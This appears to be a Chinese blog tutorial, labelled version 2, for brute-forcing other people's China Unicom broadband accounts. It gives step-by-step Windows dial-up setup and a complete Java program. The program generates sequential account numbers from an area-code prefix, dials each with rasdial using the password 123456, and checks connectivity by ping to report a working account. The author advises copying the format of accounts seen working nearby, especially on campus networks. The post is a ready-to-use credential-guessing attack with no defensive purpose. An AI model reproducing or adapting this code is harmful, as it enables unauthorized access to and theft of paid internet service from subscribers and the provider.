在第一个版本中讲到了如何破解宽带账号

但对于之前的代码个人觉得写的不好,因此准备第二个版本

建立一个​​宽带连接​

注意拨号名称为​​宽带连接​​ 与后面代码​​connAdsl("宽带连接", username, password);//重新拨号​​相对应,如果连接名称不是这个​​宽带连接​​则将其改成对应你电脑上的名称

暴力破解宽带,版本2_宽带连接

暴力破解宽带,版本2_宽带连接_02

暴力破解宽带,版本2_java_03

暴力破解宽带,版本2_java_04

暴力破解宽带,版本2_宽带连接_05

暴力破解宽带,版本2_java_06

点击连接,然后跳过,再接着选择设置连接,然后关闭即可

暴力破解宽带,版本2_java_07

暴力破解宽带,版本2_java_08

然后使用代码进行暴力破解

而你需要做的事情就是自己提供宽带账号和密码,对于校园网,尤其是联通的宽带,都是很有规律的

联通的宽带一般是 ​​地区号开头组成的12位数字 + @Unicom01​​,其中后面4位一般是手机号后4位

因此我的建议是先观察你所在的环境能正常拨号的宽带账号,然后模仿它的格式得到宽带账号进行破解即可

另外建议你看下代码,代码可以适当的调整,可以优化执行效率

代码

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.concurrent.TimeUnit;

//暴力破解宽带
public class BruteForce {
/**
* 执行CMD命令,并返回String字符串
*/
public static String executeCmd(String strCmd) throws Exception {
Process p = Runtime.getRuntime().exec("cmd /c " + strCmd);
StringBuilder sbCmd = new StringBuilder();
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GBK"));
String line;
while ((line = br.readLine()) != null) {
sbCmd.append(line + "\n");
}
return sbCmd.toString();
}

/**
* 检测网络
* 能ping通则返回true,ping不通返回false
*/
private static boolean checkInternet() throws Exception {
String comm = "ping -n 2 114.114.114.114";
String s = executeCmd(comm);
System.out.println(s);
if (s.indexOf("TTL") >= 0) {
return true;
} else if (s.indexOf("请求超时") >= 0 || s.indexOf("无法访问目标网") >= 0) {
return false;
} else {
return false;
}
}

/**
* ADSL连接宽带
* <p>
* 可以适当的调整下面休眠的时间,
* 注意sleep不可调的太小,太小可能导致拨号成功了但是依然ping不通
*/
public static boolean connAdsl(String adslTitle, String adslName, String adslPass) throws Exception {
String disconnectResult = executeCmd("rasdial " + adslTitle + " /DISCONNECT");// 断开之前的连接
System.out.println(disconnectResult);// 断开之前的连接
String connectResult = executeCmd("rasdial " + adslTitle + " " + adslName + " " + adslPass);// 进行拨号连接
System.out.println(connectResult);// 重新拨号的连接
TimeUnit.SECONDS.sleep(3);// 暂停一会,不暂停的话重新进行判断网络的时候会导致ping不通,实际已经连接成功了
if (checkInternet()) {
System.out.println("破解成功!\n宽带账号:" + adslName + "\t宽带密码:" + adslPass);
return true;
} else {
return false;
}

}


//测试代码
public static void main(String[] args) throws Exception {
for (int i = 1071; i <= 9999; i++) {
String str = String.format("%04d", i);//获得长度为4的数字
String username = "079701" + "60" + str + "@Unicom01";//宽带账号
System.out.println("宽带账号:" + username);
String password = "123456";//破解密码为123456的宽带账号
boolean connect = checkInternet();// ping检测一下
if (!connect) {// 网络没有ping通则进行拨号
connAdsl("宽带连接", username, password);//重新拨号
} else {
System.out.println("网络正常");//破解成功,后面的break会暂停。
break;
}
}

}
}